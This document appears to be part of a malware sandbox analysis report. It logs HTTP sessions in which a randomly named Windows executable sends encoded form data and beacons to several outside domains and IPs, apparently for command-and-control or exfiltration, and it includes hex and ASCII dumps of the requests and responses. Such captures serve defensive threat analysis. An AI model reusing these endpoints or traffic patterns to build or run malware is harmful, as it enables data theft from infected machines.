k06T=KNAkvPqJm3Qp8zWeEXpXFBSP5YV9vWT/wlRQ+9vTbVrOxYjppmHW5gXl5/huhUFx4k4npB+NQsAJOLLrx+qkuQAfMPdxZPiC7BVs/x0GuGUsEyBNo7jNuvii+feWSfow3pQqJrf6vEYuaekwxpNXxFtsJPEcO/HGJn9weL20CTXTy6+LQxgEI6RuwWAq2nLUZt4zBfyYIjwO+sbWj5imTN6EQCQHdY7qH1iD3hQpoFAOmJVIKN7VAPOLVyHJMZETNIC9dihXL9DhLY0ZU8Q6mnVrVmM71Z3jkRlzOMvfytVba45euepA0W3ogByg/YcSjOQPTP8TkVaUvcdRJOHy/HcNLXUZhPGOeNI+D58EIEXRVdJF5Sn7yJNaFyn+JrM1GWqD+6D/zfnZgR6NiiTpjFTBz3ISsHyDMOyPepO5hR4VrGY2XOBrzQB67n0FhZzza3zTsSldWoosWDntZ+1Dfv2mRVd8v8lhcGLzPjCM+zjNrkuXYSf5drifNkTxgwAi7y43ITrhjwiGK3hGAoP+KgfGogdOvr9Jj2FdEyTV4SPf7xVJYKAXKiYtiAYMIcm1qp86V3W/hj5l0uAuuZTL6YabsIqzZd9Q16PQ4fP3JdWaomH93Em6YW0pPq3t/IN+B4GaM8lCRfPHBrd1SWnT+gi7faWlG6f00pajeiMy72M50a3VvGT0CvbkbvrugZ9FHVSSYjZxbXh6mD0spPp8aJb94EGf68P0RjrRLZ3ap5/Q13C4bdoP+byWVqjvk+R26nk4zjH1O+C3LA3zqeM3nGMeuazHOJK1YDjug+JpZPXOLHtI3wiLQrjdqn22PzX0NjWOJALmQsZLAgC9V+Hx0VWUdM609shM6STcGjcIa6bGHCjF9WQk0kV28qOH8G1ktoW+6sTWrOZNhOdd5SGljcbDy0O8tMlcDq3jmuON5+K4D6qlDAPfaTzK5jjZQ95m61TeYIslP6zDakcReMp07a+gg4mDGCb/s3sJvTlh74QB3UJ [TRUNCATED]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.5	49725	3.33.130.190	80	5784	C:\Program Files (x86)\IOfMKDBObDNcoFXmnQFfpHnZMkYQTQoWbtTYIbmdlDZwBcxOaxyRzLAJiwAkei\pMYZJWoDTJXnmaTJMCEeAnzIbNV.exe

Timestamp	Bytes transferred	Direction	Data
Jul 3, 2024 16:40:51.248119116 CEST	547	OUT	GET /nml2/?k06T=HPoEs5HSsEYYnAW6PVozIACR+89TlHzFxT1N2ofTBBi/nJmbqmnSjRqVxPoNn0pwlxgNo3SmadBTH7enssKrgG8HFM9ue4Cv/jlK8Hwkml5mQyRFpKLBj5uVntz3S/FMqw==&rz=LZsl-bkp-XfXeRLp HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Host: www.mybodyradar.net Connection: close User-Agent: Mozilla/5.0 (iPad; CPU OS 7_1_2 like Mac OS X) AppleWebKit/537.51.2 (KHTML, like Gecko) Version/7.0 Mobile/11D257 Safari/9537.53
Jul 3, 2024 16:40:51.772938013 CEST	412	IN	HTTP/1.1 200 OK Server: openresty Date: Wed, 03 Jul 2024 14:40:51 GMT Content-Type: text/html Content-Length: 272 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3d 22 2f 6c 61 6e 64 65 72 3f 6b 30 36 54 3d 48 50 6f 45 73 35 48 53 73 45 59 59 6e 41 57 36 50 56 6f 7a 49 41 43 52 2b 38 39 54 6c 48 7a 46 78 54 31 4e 32 6f 66 54 42 42 69 2f 6e 4a 6d 62 71 6d 6e 53 6a 52 71 56 78 50 6f 4e 6e 30 70 77 6c 78 67 4e 6f 33 53 6d 61 64 42 54 48 37 65 6e 73 73 4b 72 67 47 38 48 46 4d 39 75 65 34 43 76 2f 6a 6c 4b 38 48 77 6b 6d 6c 35 6d 51 79 52 46 70 4b 4c 42 6a 35 75 56 6e 74 7a 33 53 2f 46 4d 71 77 3d 3d 26 72 7a 3d 4c 5a 73 6c 2d 62 6b 70 2d 58 66 58 65 52 4c 70 22 7d 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html><html><head><script>window.onload=function(){window.location.href="/lander?k06T=HPoEs5HSsEYYnAW6PVozIACR+89TlHzFxT1N2ofTBBi/nJmbqmnSjRqVxPoNn0pwlxgNo3SmadBTH7enssKrgG8HFM9ue4Cv/jlK8Hwkml5mQyRFpKLBj5uVntz3S/FMqw==&rz=LZsl-bkp-XfXeRLp"}</script></head></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.5	49726	203.161.55.102	80	5784	C:\Program Files (x86)\IOfMKDBObDNcoFXmnQFfpHnZMkYQTQoWbtTYIbmdlDZwBcxOaxyRzLAJiwAkei\pMYZJWoDTJXnmaTJMCEeAnzIbNV.exe

Timestamp	Bytes transferred	Direction	Data
Jul 3, 2024 16:40:57.146461010 CEST	796	OUT	POST /tb8p/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Host: www.lacemalt.top Origin: http://www.lacemalt.top Referer: http://www.lacemalt.top/tb8p/ Content-Length: 205 Cache-Control: no-cache Connection: close Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (iPad; CPU OS 7_1_2 like Mac OS X) AppleWebKit/537.51.2 (KHTML, like Gecko) Version/7.0 Mobile/11D257 Safari/9537.53 Data Raw: 6b 30 36 54 3d 6e 4d 69 30 42 47 77 71 58 4e 49 41 5a 6b 72 54 47 4d 39 7a 61 4a 66 56 47 4b 6c 67 37 41 70 45 38 65 39 33 71 36 67 59 59 55 2f 50 50 43 68 63 45 2f 55 68 71 49 53 56 6d 37 63 56 2f 32 64 55 78 55 42 5a 64 72 6c 76 47 30 72 39 67 79 56 57 63 44 71 70 30 49 53 33 62 30 61 54 48 65 39 5a 68 72 33 6f 52 63 51 32 34 65 56 4c 39 54 33 6c 6f 57 71 7a 36 62 73 78 75 46 47 5a 37 39 43 43 4e 46 69 78 64 75 70 64 38 50 72 45 41 30 51 58 44 6b 44 6f 71 6b 65 6d 42 5a 44 61 6c 65 4b 4e 30 6d 46 6b 41 68 54 77 6e 33 36 52 41 49 74 4e 50 64 6e 56 68 58 49 4f 35 68 71 6e 65 7a 52 2b 52 46 38 73 4c 75 55 3d Data Ascii: k06T=nMi0BGwqXNIAZkrTGM9zaJfVGKlg7ApE8e93q6gYYU/PPChcE/UhqISVm7cV/2dUxUBZdrlvG0r9gyVWcDqp0IS3b0aTHe9Zhr3oRcQ24eVL9T3loWqz6bsxuFGZ79CCNFixdupd8PrEA0QXDkDoqkemBZDaleKN0mFkAhTwn36RAItNPdnVhXIO5hqnezR+RF8sLuU=
Jul 3, 2024 16:40:57.752840996 CEST	533	IN	HTTP/1.1 404 Not Found Date: Wed, 03 Jul 2024 14:40:57 GMT Server: Apache Content-Length: 389 Connection: close Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 [TRUNCATED] Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.5	49727	203.161.55.102	80	5784	C:\Program Files (x86)\IOfMKDBObDNcoFXmnQFfpHnZMkYQTQoWbtTYIbmdlDZwBcxOaxyRzLAJiwAkei\pMYZJWoDTJXnmaTJMCEeAnzIbNV.exe

Timestamp	Bytes transferred	Direction	Data
Jul 3, 2024 16:40:59.690541983 CEST	816	OUT	POST /tb8p/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Host: www.lacemalt.top Origin: http://www.lacemalt.top Referer: http://www.lacemalt.top/tb8p/ Content-Length: 225 Cache-Control: no-cache Connection: close Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (iPad; CPU OS 7_1_2 like Mac OS X) AppleWebKit/537.51.2 (KHTML, like Gecko) Version/7.0 Mobile/11D257 Safari/9537.53 Data Raw: 6b 30 36 54 3d 6e 4d 69 30 42 47 77 71 58 4e 49 41 62 45 62 54 4c 4f 56 7a 50 35 66 61 4c 61 6c 67 30 67 6f 4e 38 65 78 33 71 37 6c 54 59 47 72 50 4f 6a 52 63 56 4f 55 68 74 49 53 56 2b 72 63 55 79 57 64 66 78 55 4d 6d 64 70 42 76 47 33 58 39 67 7a 6c 57 66 30 32 71 30 59 53 35 51 55 62 56 4a 2b 39 5a 68 72 33 6f 52 63 30 63 34 65 4e 4c 2b 6a 48 6c 6e 58 71 73 6c 72 73 32 2b 6c 47 5a 2f 39 43 47 4e 46 69 58 64 71 68 6e 38 4b 76 45 41 32 49 58 44 52 76 76 7a 55 65 67 46 5a 43 58 69 76 6e 67 38 31 59 6c 66 43 36 52 6e 52 75 72 42 2b 41 6e 56 2f 76 39 79 33 6b 32 70 79 69 51 50 44 77 58 4c 6d 73 63 56 35 43 2f 58 50 44 51 30 77 4c 31 31 2b 56 79 6d 56 74 4a 63 34 49 79 Data Ascii: k06T=nMi0BGwqXNIAbEbTLOVzP5faLalg0goN8ex3q7lTYGrPOjRcVOUhtISV+rcUyWdfxUMmdpBvG3X9gzlWf02q0YS5QUbVJ+9Zhr3oRc0c4eNL+jHlnXqslrs2+lGZ/9CGNFiXdqhn8KvEA2IXDRvvzUegFZCXivng81YlfC6RnRurB+AnV/v9y3k2pyiQPDwXLmscV5C/XPDQ0wL11+VymVtJc4Iy
Jul 3, 2024 16:41:00.285546064 CEST	533	IN	HTTP/1.1 404 Not Found Date: Wed, 03 Jul 2024 14:41:00 GMT Server: Apache Content-Length: 389 Connection: close Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 [TRUNCATED] Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.5	49728	203.161.55.102	80	5784	C:\Program Files (x86)\IOfMKDBObDNcoFXmnQFfpHnZMkYQTQoWbtTYIbmdlDZwBcxOaxyRzLAJiwAkei\pMYZJWoDTJXnmaTJMCEeAnzIbNV.exe

Timestamp	Bytes transferred	Direction	Data
Jul 3, 2024 16:41:02.231278896 CEST	1833	OUT	POST /tb8p/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Host: www.lacemalt.top Origin: http://www.lacemalt.top Referer: http://www.lacemalt.top/tb8p/ Content-Length: 1241 Cache-Control: no-cache Connection: close Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (iPad; CPU OS 7_1_2 like Mac OS X) AppleWebKit/537.51.2 (KHTML, like Gecko) Version/7.0 Mobile/11D257 Safari/9537.53 Data Raw: 6b 30 36 54 3d 6e 4d 69 30 42 47 77 71 58 4e 49 41 62 45 62 54 4c 4f 56 7a 50 35 66 61 4c 61 6c 67 30 67 6f 4e 38 65 78 33 71 37 6c 54 59 48 54 50 50 52 70 63 48 5a 67 68 73 49 53 56 67 37 63 4a 79 57 64 43 78 55 55 69 64 70 4e 2f 47 79 62 39 6d 52 74 57 65 47 65 71 74 6f 53 35 66 30 62 46 48 65 39 4d 68 6f 50 6b 52 63 45 63 34 65 4e 4c 2b 67 50 6c 75 6d 71 73 2b 72 73 78 75 46 47 72 37 39 43 69 4e 46 62 69 64 71 74 33 38 35 6e 45 41 57 59 58 42 44 33 76 37 55 65 69 4c 35 44 45 69 76 72 6a 38 31 46 65 66 43 2b 33 6e 57 61 72 4e 49 31 48 4a 73 6e 58 6e 48 67 43 37 7a 79 72 62 33 64 78 42 6d 38 49 4b 35 2f 62 53 66 4c 6e 2f 48 2f 4a 35 66 59 68 37 30 6c 6e 66 38 68 69 44 2b 5a 53 41 68 6b 71 32 2f 37 4f 65 38 41 4e 42 75 4a 4d 4c 57 6f 49 6b 74 65 6f 62 6d 2b 63 64 4f 39 57 6e 7a 6f 67 45 4b 4c 41 4c 44 6d 46 73 45 4c 73 39 31 33 42 65 46 4a 70 69 75 76 6c 45 2b 43 71 63 51 4f 59 32 65 74 2b 64 50 46 4f 52 63 53 59 57 36 59 7a 4a 4d 77 6e 59 56 35 32 44 75 77 75 78 66 31 64 54 65 45 68 6b 62 6c 52 36 [TRUNCATED] Data Ascii: k06T=nMi0BGwqXNIAbEbTLOVzP5faLalg0goN8ex3q7lTYHTPPRpcHZghsISVg7cJyWdCxUUidpN/Gyb9mRtWeGeqtoS5f0bFHe9MhoPkRcEc4eNL+gPlumqs+rsxuFGr79CiNFbidqt385nEAWYXBD3v7UeiL5DEivrj81FefC+3nWarNI1HJsnXnHgC7zyrb3dxBm8IK5/bSfLn/H/J5fYh70lnf8hiD+ZSAhkq2/7Oe8ANBuJMLWoIkteobm+cdO9WnzogEKLALDmFsELs913BeFJpiuvlE+CqcQOY2et+dPFORcSYW6YzJMwnYV52Duwuxf1dTeEhkblR6YrCpbAJ5IkVxnA1IwW9Sc1n/40AgoEGPJjU+Jzp79ACPY1MyQwEd5K69EpyU7z07CJHkFwK8EvhlgQ+/jOqz/RuC+2yhx1LjTjerH47UzVm4PUnD+6m/yrj9BTLZZF5vLdmPTvv2pWMT6Y1osteixxCgteWWobY5VPSAA8/JxJpkRzWcCaVTgyatdwScmy+01G3fBHbLmxjoNgjeK0SCXXiTz4g4V+Ch1xmd4VobhxQ3tDHOTrZiaQLALblWAeYec310Iyr0H6U20SkJgNemsWJhU6NBOzORJQ766/PlgJqmpILpC/oWLCW1yO2FzGypbgyafSV5OfQnY3cyOC8ACfqKn6Irwgz2BZRLEwB4GwofBUU7e1c26gaDjcPp2gZgMQfZHHmnhZ8l+t9Wf8TA2BtIIoDh2w1hq4dOeOY6TIsjJGeSB0a7stPT74MZClh3g9h648J06mx/RF93FxeYebbuFZH9y3LFZNh1H7jaD6ijjHsU8AhAvf0W0usdHRzyByBqquxonv9oyDQNOBk+RK1dfvk9TSqjFS/v/+myjz4A8ykJAajTIpHw6lzO3wGw47S/9VpJyEY5parAelUeLuJYJIBl5t70FSvFVH13DtG688sZOS5/B+9/9/udBSLmbQ6BppoNnLw7UKpQOcVlVQbu9mgXhGxaTX [TRUNCATED]
Jul 3, 2024 16:41:02.849128962 CEST	533	IN	HTTP/1.1 404 Not Found Date: Wed, 03 Jul 2024 14:41:02 GMT Server: Apache Content-Length: 389 Connection: close Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 [TRUNCATED] Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.5	49729	203.161.55.102	80	5784	C:\Program Files (x86)\IOfMKDBObDNcoFXmnQFfpHnZMkYQTQoWbtTYIbmdlDZwBcxOaxyRzLAJiwAkei\pMYZJWoDTJXnmaTJMCEeAnzIbNV.exe

Timestamp	Bytes transferred	Direction	Data
Jul 3, 2024 16:41:04.762644053 CEST	544	OUT	GET /tb8p/?k06T=qOKUC29yX8oZAlbJDfcpCLzpMPZC9WFwxrZXgt1GanD4ODtcEeVG6I3ogONv/wZG3CcBcKt2BHXhpUQRSUiI6LSlbUKGOe5tpqy+YL001eRQtx2Jgk6C84cNpUHQ9eTwUQ==&rz=LZsl-bkp-XfXeRLp HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Host: www.lacemalt.top Connection: close User-Agent: Mozilla/5.0 (iPad; CPU OS 7_1_2 like Mac OS X) AppleWebKit/537.51.2 (KHTML, like Gecko) Version/7.0 Mobile/11D257 Safari/9537.53
Jul 3, 2024 16:41:05.396370888 CEST	548	IN	HTTP/1.1 404 Not Found Date: Wed, 03 Jul 2024 14:41:05 GMT Server: Apache Content-Length: 389 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 [TRUNCATED] Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.5	49730	108.179.193.98	80	5784	C:\Program Files (x86)\IOfMKDBObDNcoFXmnQFfpHnZMkYQTQoWbtTYIbmdlDZwBcxOaxyRzLAJiwAkei\pMYZJWoDTJXnmaTJMCEeAnzIbNV.exe

Timestamp	Bytes transferred	Direction	Data
Jul 3, 2024 16:41:10.750220060 CEST	823	OUT	POST /xti2/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Host: www.siteblogoficialon.com Origin: http://www.siteblogoficialon.com Referer: http://www.siteblogoficialon.com/xti2/ Content-Length: 205 Cache-Control: no-cache Connection: close Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (iPad; CPU OS 7_1_2 like Mac OS X) AppleWebKit/537.51.2 (KHTML, like Gecko) Version/7.0 Mobile/11D257 Safari/9537.53 Data Raw: 6b 30 36 54 3d 64 44 62 64 37 46 49 2b 61 42 75 49 71 45 63 63 58 58 55 52 4e 53 4f 70 57 46 47 59 36 44 6a 34 4b 72 33 6b 6d 4e 71 64 74 73 64 47 52 61 71 78 72 4c 52 76 52 4a 68 38 69 57 50 72 7a 72 39 72 48 48 4e 32 61 37 4b 65 56 47 34 47 4e 38 4a 61 46 49 4e 38 78 32 36 2b 47 52 44 37 49 6a 34 68 4d 74 4d 48 4c 5a 77 4b 5a 69 77 54 67 2b 55 46 43 2b 6d 4a 2f 67 33 70 6e 42 2b 61 54 76 6b 30 63 35 4f 6d 49 71 43 4b 46 59 47 69 2b 39 50 35 47 50 2b 33 4a 6f 6f 4c 63 36 34 62 43 63 79 6d 73 74 33 32 78 43 52 42 7a 43 67 79 30 59 55 48 6e 35 47 2b 31 46 6b 46 35 33 6f 70 55 49 57 55 59 75 2b 4b 53 37 38 3d Data Ascii: k06T=dDbd7FI+aBuIqEccXXURNSOpWFGY6Dj4Kr3kmNqdtsdGRaqxrLRvRJh8iWPrzr9rHHN2a7KeVG4GN8JaFIN8x26+GRD7Ij4hMtMHLZwKZiwTg+UFC+mJ/g3pnB+aTvk0c5OmIqCKFYGi+9P5GP+3JooLc64bCcymst32xCRBzCgy0YUHn5G+1FkF53opUIWUYu+KS78=
Jul 3, 2024 16:41:11.412092924 CEST	361	IN	HTTP/1.1 301 Moved Permanently Date: Wed, 03 Jul 2024 14:41:11 GMT Server: Apache Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 X-Redirect-By: WordPress Upgrade: h2,h2c Connection: Upgrade, close Location: https://www.siteblogoficialon.com/xti2/ Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.5	49731	108.179.193.98	80	5784	C:\Program Files (x86)\IOfMKDBObDNcoFXmnQFfpHnZMkYQTQoWbtTYIbmdlDZwBcxOaxyRzLAJiwAkei\pMYZJWoDTJXnmaTJMCEeAnzIbNV.exe

Timestamp	Bytes transferred	Direction	Data
Jul 3, 2024 16:41:13.298605919 CEST	843	OUT	POST /xti2/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Host: www.siteblogoficialon.com Origin: http://www.siteblogoficialon.com Referer: http://www.siteblogoficialon.com/xti2/ Content-Length: 225 Cache-Control: no-cache Connection: close Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (iPad; CPU OS 7_1_2 like Mac OS X) AppleWebKit/537.51.2 (KHTML, like Gecko) Version/7.0 Mobile/11D257 Safari/9537.53 Data Raw: 6b 30 36 54 3d 64 44 62 64 37 46 49 2b 61 42 75 49 71 6c 73 63 55 30 4d 52 4c 79 4f 75 5a 6c 47 59 77 6a 69 2f 4b 72 37 6b 6d 4d 75 4e 74 61 6c 47 53 2b 6d 78 71 4a 35 76 43 35 68 38 77 32 50 75 35 4c 39 67 48 48 4a 2b 61 2b 71 65 56 47 73 47 4e 2b 52 61 46 37 56 2f 77 6d 36 34 53 68 44 35 48 44 34 68 4d 74 4d 48 4c 61 4d 67 5a 69 34 54 67 4f 6b 46 44 61 4b 4b 68 51 33 71 33 52 2b 61 58 76 6b 77 63 35 50 7a 49 72 66 43 46 61 2b 69 2b 39 2f 35 48 65 2b 30 65 59 6f 4e 57 61 35 30 47 4f 58 6f 6d 66 2f 2f 75 30 52 41 73 54 6b 39 31 75 35 74 39 62 4f 57 6d 6c 49 39 70 6b 67 65 46 34 33 39 43 4e 75 36 4d 73 70 41 34 59 62 42 6d 32 45 74 2f 64 64 63 49 48 70 79 39 6e 74 65 Data Ascii: k06T=dDbd7FI+aBuIqlscU0MRLyOuZlGYwji/Kr7kmMuNtalGS+mxqJ5vC5h8w2Pu5L9gHHJ+a+qeVGsGN+RaF7V/wm64ShD5HD4hMtMHLaMgZi4TgOkFDaKKhQ3q3R+aXvkwc5PzIrfCFa+i+9/5He+0eYoNWa50GOXomf//u0RAsTk91u5t9bOWmlI9pkgeF439CNu6MspA4YbBm2Et/ddcIHpy9nte
